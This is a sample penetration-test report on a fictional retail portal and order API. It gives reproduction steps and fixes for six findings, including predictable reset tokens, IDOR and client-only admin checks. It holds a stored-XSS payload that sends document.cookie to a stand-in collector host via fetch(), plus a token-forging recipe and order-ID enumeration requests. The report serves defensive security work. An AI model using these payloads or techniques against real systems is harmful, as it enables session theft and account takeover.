SAMPLE REPORT · FICTIONAL TARGET · NOT A REAL ENGAGEMENT

Web Application & API Penetration Test

Northwind Retail Pvt. Ltd — customer portal and order API

>_ amansploit

PREPARED FOR
Northwind Retail Pvt. Ltd (fictional)

PREPARED BY
Aman Sonkamble — amansploit

ENGAGEMENT TYPE
Grey-box web + API assessment

TESTING WINDOW
14–21 March 2026

REPORT VERSION
1.0 — final

CLASSIFICATION
Confidential — sample

About this document

> **This is a demonstration report against a fictional company.** Northwind Retail does not exist, no system was tested to produce it, and every finding, screenshot, payload and identifier in it is synthetic. It exists so a prospective client can judge the *format and depth* of my reporting before commissioning work. No real client's findings are ever published — real reports go to the client and nowhere else.

What a real report contains

Every engagement I deliver includes the sections you see here: an executive summary written for people who will never read the technical detail, an explicit scope and methodology statement so you know what was and was not covered, findings ranked by real-world impact rather than scanner severity, and remediation you can hand directly to your engineers.

How to read the findings

Each finding states what the issue is, what an attacker gains from it, exactly how to reproduce it, and how to fix it. Severity combines CVSS v3.1 with business context — a technically moderate issue that exposes customer records is escalated, and a technically severe issue behind three other controls is not inflated. Where a finding is theoretical rather than demonstrated, that is stated plainly.

Document control

VERSION	DATE	AUTHOR	NOTES
0.1	19 Mar 2026	A. Sonkamble	Draft issued for factual review
0.2	20 Mar 2026	A. Sonkamble	Client corrections to scope table
1.0	21 Mar 2026	A. Sonkamble	Final. Retest results in §6

Confidentiality

A real version of this document would be marked confidential, delivered encrypted, and contain information that would materially assist an attacker. It should be distributed only to those who need it, and destroyed or archived under your retention policy once remediation is complete.

1 • Executive summary

Between 14 and 21 March 2026 I performed a grey-box penetration test of the Northwind Retail customer portal and its supporting order API. The objective was to determine whether an attacker with a normal customer account — or none at all — could access other customers' data, escalate their privileges, or interfere with orders.

They could. Six issues were identified, of which one is critical and two are high. The critical issue allows a complete account takeover of any customer, including administrators, without prior access. Chained with the two high-severity access-control failures, an attacker starting from an ordinary signup could read every customer record in the system.

> **Bottom line for the board:** the platform's authentication and access-control layers do not currently hold. This is not a case of missing hardening around the edges — the controls that decide *who may see what* are the ones failing. The critical finding should be remediated before the next release; it is reachable by anyone on the internet and requires no special skill to exploit.

Findings by severity

1	2	1	1	1
CRITICAL	HIGH	MEDIUM	LOW	INFO

What was done well

It is worth recording that several things were right. Passwords are stored with bcrypt at an appropriate work factor. The payment flow correctly delegates to the provider and never handles card data directly. TLS configuration is modern and HSTS is present. Database queries use parameterisation consistently — no SQL injection was found anywhere in scope despite focused effort. The problems here are concentrated in authorisation logic, not across the whole build.

Recommended sequence

1. **Immediately:** replace the password-reset token generator (NW-01) and invalidate all outstanding reset tokens.
2. **This sprint:** enforce server-side ownership checks on the order API (NW-02) and move the admin role check out of the client (NW-03).
3. **Next sprint:** output-encode profile fields (NW-04), add the missing response headers (NW-05), and suppress stack traces in production (NW-06).
4. **Then:** retest. Findings are only closed once re-verified — included in this engagement.

2 • Scope and methodology

2.1 In scope

ASSET	TYPE	ACCESS PROVIDED
`portal.northwind-demo.test`	Customer web portal	2 customer accounts, 1 admin
`api.northwind-demo.test/v2`	REST API	Bearer tokens for the above
`portal.northwind-demo.test/admin`	Admin console	1 admin account

2.2 Explicitly out of scope

Production customer data, the payment provider's infrastructure, physical and social-engineering attacks, denial-of-service testing, and any third-party SaaS integration not owned by Northwind. Testing was performed against the staging environment, which the client confirmed mirrors production configuration.

> **A scope limitation worth stating.** Rate limiting could not be meaningfully assessed, because the staging WAF is configured differently from production. Absence of a rate-limiting finding in this report should *not* be read as confirmation that production is protected. I recommend a focused re-check against production with prior notice.

2.3 Approach

Testing was grey-box: I was given working credentials at each privilege level but no source code or architecture documentation. This mirrors the realistic worst case — an attacker who has signed up like any customer, or who has obtained one set of stolen credentials.

Work followed the OWASP Web Security Testing Guide and OWASP API Security Top 10, with manual testing throughout. Automated tooling was used for coverage and discovery only; every finding in this report was manually verified and reproduced before being written up. No finding here is a scanner result passed through untouched.

2.4 Tooling

`Burp Suite · custom Python tooling for the API role matrix · ffuf · nmap · jwt_tool · manual review`

2.5 Severity model

SEVERITY	CVSS V3.1	MEANING IN PRACTICE
CRITICAL	9.0–10.0	Exploitable now, by anyone, with severe consequence. Fix before next release.
HIGH	7.0–8.9	Realistic attack path to sensitive data or elevated privilege.
MEDIUM	4.0–6.9	Requires conditions or user interaction, but materially increases risk.
LOW	0.1–3.9	Limited direct impact; assists an attacker chaining other issues.
INFO	—	No direct risk. Hygiene or hardening worth doing.

3 • Findings summary

ID	SEVERITY	FINDING	COMPONENT	STATUS
NW-01	CRITICAL	Predictable password-reset token permits account takeover	Auth	Fixed
NW-02	HIGH	IDOR on order endpoint exposes any customer's orders	Order API	Fixed
NW-03	HIGH	Admin authorisation enforced only in the client	Admin API	Fixed
NW-04	MEDIUM	Stored XSS in profile display name	Portal	Fixed
NW-05	LOW	Missing HTTP security response headers	Portal	Fixed
NW-06	INFO	Stack traces returned in API error responses	Order API	Accepted

Attack chain

The three most serious findings compose into a single realistic path, which is how they should be prioritised:

```
# starting position: no account, no credentials
1. Enumerate a valid customer email        → signup form response differs
2. Request password reset for that email   → NW-01
3. Predict the reset token (~2^20 search space, ~40s)  → NW-01
4. Authenticate as that customer
5. Enumerate order IDs via /v2/orders/{id} → NW-02
6. Read every customer's order history, addresses and phone numbers
7. Call admin endpoints directly           → NW-03
8. Full administrative access to the platform
```

Each step was demonstrated individually against the staging environment. Steps 5 and 7 require only an authenticated session of any kind, so fixing NW-01 alone does not close the chain — a single stolen or phished credential re-opens it.

4 • Detailed findings

NW-01

CRITICAL

Predictable password-reset token permits account takeover

CVSS 3.1 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N CWE-340 OWASP A07:2021

What the issue is

Password-reset tokens are generated from the current Unix time in seconds combined with the user's numeric ID, then MD5-hashed. Both inputs are knowable: the user ID is exposed in the portal's public profile URLs, and the timestamp is bounded by the moment the attacker triggers the reset. The resulting search space is small enough to exhaust in under a minute.

What an attacker gains

Complete takeover of any account whose email is known, with no prior access and no victim interaction. Administrator accounts are affected identically, and the reset clears the existing session, so the owner is silently locked out.

Reproduction

1. Register an account; note profile URLs contain a sequential numeric ID.
2. Trigger a reset for the target address and record the request time to the second:

```
POST /v2/auth/reset-request HTTP/1.1
Host: api.northwind-demo.test
Content-Type: application/json

{"email":"priya.n@northwind-demo.test"}
```

3. Generate candidate tokens across a ±30 second window:

```
// observed construction, confirmed across 12 samples
token = md5(String(unixSeconds) + ":" + String(userId))
```

4. Submit each candidate until one is accepted:

```
POST /v2/auth/reset-confirm HTTP/1.1

{"token":"4f9a...c21b","password":"NewPassw0rd!"}

HTTP/1.1 200 OK
{"status":"ok","message":"Password updated"}
```

Demonstrated against the supplied test account. Median time to success: 41 seconds.

How to fix it

Generate reset tokens from a cryptographically secure random source with at least 128 bits of entropy, store only a hash of the token, and bind each token to a single use with a short expiry (15–30 minutes). Never derive a security token from predictable values such as timestamps or sequential identifiers.

```
# Node
const token = crypto.randomBytes(32).toString("base64url");
# store: sha256(token), userId, expiresAt, usedAt=null
```

Invalidate every outstanding reset token at deployment.

References

CWE-340 Generation of Predictable Numbers · OWASP ASVS 2.5.1, 2.5.4 · OWASP Forgot Password Cheat Sheet

NW-02

HIGH

IDOR on order endpoint exposes any customer's orders

CVSS 3.1 7.7 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N CWE-639 OWASP API API1:2023

What the issue is

`GET /v2/orders/{orderId}` verifies that the caller is authenticated but never checks that the order belongs to them. Order IDs are sequential integers, so the entire order table can be walked by incrementing a number.

What an attacker gains

Any authenticated customer can read every order in the system: line items, totals, delivery addresses, phone numbers and email addresses. For a retailer this is a personal-data breach affecting the whole customer base, reachable from a free signup.

Reproduction

```
# authenticated as customer A (own order)
GET /v2/orders/10442  →  200 OK   // expected

# same session, another customer's order
GET /v2/orders/10441  →  200 OK
{"orderId":10441,"customer":{"name":"[REDACTED]",
 "email":"[REDACTED]","phone":"[REDACTED]"},
 "shipTo":{"line1":"[REDACTED]","city":"Pune","pin":"4110XX"}, ... }
```

A short script walking IDs 10000–10500 returned 500 of 501 records. Enumeration was stopped at that point and no data was retained; the redactions above are applied at capture.

How to fix it

Enforce ownership server-side on every object access — the query itself should be scoped to the caller, not filtered afterwards. Replace sequential identifiers with UUIDs so that enumeration is not trivially possible even if a check is missed in future.

```
-- scope the query, do not check after fetching
SELECT * FROM orders WHERE id = $1 AND customer_id = $2;
```

Add an automated test asserting that customer A receives 404 for customer B's order. This class of bug returns whenever a new endpoint is added, so the guard needs to be a test, not a code review habit.

NW-03

HIGH

Admin authorisation enforced only in the client

CVSS 3.1 8.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N CWE-602 OWASP A01:2021

What the issue is

The portal hides administrative navigation from non-admin users, but the underlying endpoints under `/v2/admin/*` accept any valid session token. The role claim is read from the JWT and used to render the UI; it is never re-checked at the API.

What an attacker gains

Any authenticated customer can list all users, change roles, and issue refunds — the full administrative surface — simply by calling the endpoints directly.

Reproduction

```
# session belongs to an ordinary customer
GET /v2/admin/users?limit=5 HTTP/1.1
Authorization: Bearer eyJhbGciOi...   // role: "customer"

HTTP/1.1 200 OK
{"users":[{"id":1,"email":"[REDACTED]","role":"admin"}, ...]}
```

How to fix it

Authorise on the server for every administrative route, from the session record rather than a client-supplied claim. Hiding UI is a usability measure and must never be relied on as a control. Default new routes to deny, and require an explicit grant to open them.

NW-04

MEDIUM

Stored XSS in profile display name

CVSS 3.1 6.4 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N CWE-79 OWASP A03:2021

What the issue is

The display-name field accepts and stores raw HTML, which is then rendered unescaped in the admin user list. A customer can therefore place script into a page that an administrator will open.

What an attacker gains

Script execution in an administrator's browser session, in the context of the admin console — a realistic route to privileged actions being performed on the attacker's behalf.

Reproduction

```
PATCH /v2/profile
{"displayName":"<img src=x onerror=fetch('https://collector.test/'+document.cookie)>"}

// rendered unescaped at /admin/users
```

How to fix it

Encode on output according to context rather than attempting to sanitise on input. Where rich text is genuinely required, use a vetted sanitiser with an allowlist. A Content-Security-Policy without `'unsafe-inline'` would have reduced this to a non-event.

NW-05

LOW

Missing HTTP security response headers

CVSS 3.1 3.7 CWE-693 OWASP A05:2021

What the issue is

The portal returns no Content-Security-Policy, no X-Content-Type-Options and no frame protection. None of these is exploitable alone, but each removes a layer that would have blunted NW-04.

How to fix it

```
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'
Strict-Transport-Security: max-age=63072000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
```

NW-06

INFO

Stack traces returned in API error responses

CWE-209 OWASP A05:2021

What the issue is

Unhandled errors return a framework stack trace including file paths, library versions and the ORM in use. No credentials were exposed, but the response tells an attacker precisely what the stack is and where to look next.

```
GET /v2/orders/abc  →  500
{"error":"invalid input syntax for type integer",
 "stack":"at OrderRepo.findById (/srv/app/src/repo/order.ts:88) ..."}
```

How to fix it

Return a generic error body with a correlation ID in production, and log the detail server-side against that ID.

> **Client response:** risk accepted for the current release; scheduled for the Q2 platform upgrade. Recorded here so the decision is documented rather than forgotten.

5 • Retest results

Remediation was retested on 4 April 2026 against the same environment. Retesting is included in every engagement — a finding is not closed because a fix was deployed, but because the original reproduction steps no longer work.

ID	SEVERITY	VERIFICATION	OUTCOME
NW-01	CRITICAL	Tokens now 256-bit random; 200k candidates attempted, none accepted. Old tokens invalidated.	Closed
NW-02	HIGH	Cross-customer access returns 404. Walk of 500 IDs returned only the caller's own orders.	Closed
NW-03	HIGH	Admin routes return 403 for customer sessions. Role now read server-side from the session record.	Closed
NW-04	MEDIUM	Output encoded in admin list; payload renders as inert text. CSP added.	Closed
NW-05	LOW	All five headers present on portal responses.	Closed
NW-06	INFO	Unchanged. Risk formally accepted by the client and scheduled.	Accepted

Post-remediation position: the attack chain described in §3 no longer completes at any step. Five of six findings are closed, and the remaining item is an accepted informational issue. I would now consider the authentication and access-control layers of this application sound for its risk profile.

6 • Appendix

6.1 What is not covered by this test

A penetration test is a point-in-time assessment of a defined scope. It does not certify that an application is secure, and it cannot find every issue. Code changed after 21 March 2026 was not examined. Areas explicitly excluded in §2.2 were not tested. Rate limiting could not be assessed for the reason given in §2.2, and that gap remains open.

6.2 Retention and handling

Evidence collected during the engagement — request captures, notes, and the small number of records touched during NW-02 — was masked at capture, held only for the duration of reporting, and destroyed after the retest. No customer data was copied out of the environment.

6.3 About the tester

Aman Sonkamble is a security analyst and independent security engineer working on web and API penetration testing, security automation, and secure development. CEH Master, CompTIA Security+, Certified Network Defender, ECSS. Top 1% on TryHackMe.

amansploit.com · aman.s.732002@gmail.com

> **Reminder:** Northwind Retail is fictional and this engagement never happened. This document exists solely to demonstrate reporting format and depth. If you would like a real assessment of your own systems, the estimator at `amansploit.com/#estimate` will give you a price and timeline in about thirty seconds.